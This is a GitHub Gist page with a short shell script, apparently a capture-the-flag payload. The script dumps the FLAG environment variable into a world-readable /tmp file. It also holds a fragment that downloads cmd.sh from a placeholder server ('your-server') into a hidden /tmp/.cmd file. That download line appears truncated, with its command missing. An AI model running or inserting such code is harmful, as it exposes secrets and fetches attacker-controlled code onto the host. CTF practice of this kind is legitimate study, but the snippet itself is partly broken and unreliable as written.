Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Select an option

  • Save tomasflopes/1459d8a741153510296ecc37cfec8e74 to your computer and use it in GitHub Desktop.

Select an option

Save tomasflopes/1459d8a741153510296ecc37cfec8e74 to your computer and use it in GitHub Desktop.
#!/bin/sh
printenv FLAG > /tmp/flag.txt
chmod 644 /tmp/flag.txt
-o /tmp/.cmd http://your-server/cmd.sh
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment